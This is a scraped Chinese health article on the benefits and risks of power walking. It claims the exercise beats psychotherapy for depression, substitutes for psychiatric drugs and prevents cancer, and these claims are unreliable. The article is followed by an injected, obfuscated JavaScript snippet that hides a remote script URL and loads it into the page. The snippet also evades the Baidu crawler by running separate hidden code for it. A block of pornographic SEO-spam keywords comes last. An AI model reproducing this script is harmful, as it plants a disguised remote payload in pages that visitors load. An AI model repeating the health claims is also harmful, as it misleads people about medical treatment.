當前位置:首頁 > 健康 > 運動健身 > 正文

暴走的好與壞

2017-04-14 14:58:52  來源:360常識網   熱度:
導語:暴走是一種強度非常高,而且又非常簡單的一種戶外運動,這種運動起源于美國,現在在韓國、日本等地都是非常流行的,現在暴走一族的人群數量

暴走是一種強度非常高,而且又非常簡單的一種戶外運動,這種運動起源于美國,現在在韓國、日本等地都是非常流行的,現在暴走一族的人群數量可以達到7000萬人。事實上,暴走是極限運動的一種,這種運動會挑戰人們的心理素質和身體素質,那么暴走的好與壞都表現在哪些方面呢?下面我們一起詳細了解下這個問題。

暴走對于我們的生活是有著很大的好處的,可以預防一些疾病的發生,也可以給我們的身體提供一定的保障,但是我們需要注意,在暴走的時候一定要有一定的限制,要遵守暴走的原則,這樣才能讓我們的健康得到一定的保障,否則會得到適得其反的效果。

(一)身體更年輕:暴走能讓人體的生物細胞呈現出“年輕化”的趨勢,它創造了一種忍耐力,對于身體器官有著積極的維護作用,讓我們看上去更年輕。

(二)抗憂郁:這項流行的健身方式,具有極為明顯的抗憂郁癥功效,有時甚至比一般的心理治療更為有效。難怪人們會用疾步行走替代服用神經藥物,它能夠降低患者對于精神壓力而產生的恐懼感。

(三)激活免疫力:能夠增強人體對一些傳染性細菌的抵抗能力,甚至更好地防止癌癥的發生。

(四)瘦身:一個體重為50公斤的女性每天進行一個小時的暴走后,能夠消耗300到550卡路里。

有關暴走的好與壞的問題就講解到這里,事實上,正確的暴走方式對于我們的健康是有著很大的幫助的,所以我們一定要多加了解什么樣的暴走才是正確的暴走方式,如果我們盲目的暴走的話,那么還是會給我們帶來一些傷害的,所以我們一定要注意。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品视频一区二区三区四区| 狼色精品人妻在线视频| 精品3d动漫视频一区在线观看| 欧美精品久久天天躁| 国产精品亚洲四区在线观看| 精品久久久久久成人AV| 91在线精品亚洲一区二区| 四虎成人精品永久免费AV| 国产成人精品视频一区二区不卡| 国内精品久久久久久久影视麻豆| 亚洲一级Av无码毛片久久精品| 日韩精品一二三区| 亚洲精品线路一在线观看| 一区二区不卡久久精品| 亚洲精品NV久久久久久久久久| 国产精品亚洲色图| 老司机免费午夜精品视频| 精品理论片一区二区三区| 国产偷窥熟女精品视频| 永久无码精品三区在线4| 亚洲欧洲久久久精品| 精品国产午夜肉伦伦影院| 久久国产精品偷99| 自拍偷在线精品自拍偷| 国产亚洲精品a在线观看app| 国产AV无码专区亚洲精品| 四虎国产成人永久精品免费 | 久久精品国产亚洲麻豆| 国产精品186在线观看在线播放| 无码精品国产一区二区三区免费| 久久国产精品99精品国产| 国产成人精品免费视频动漫| 国产精品白嫩美女在线观看| 国精品午夜福利视频不卡757| 国产精品深夜福利免费观看| 无码AV动漫精品一区二区免费| 精品国产亚洲男女在线线电影 | 88aa四虎影成人精品| 亚洲国产福利精品一区二区| 亚洲最大天堂无码精品区| 国产成人无码精品久久久露脸|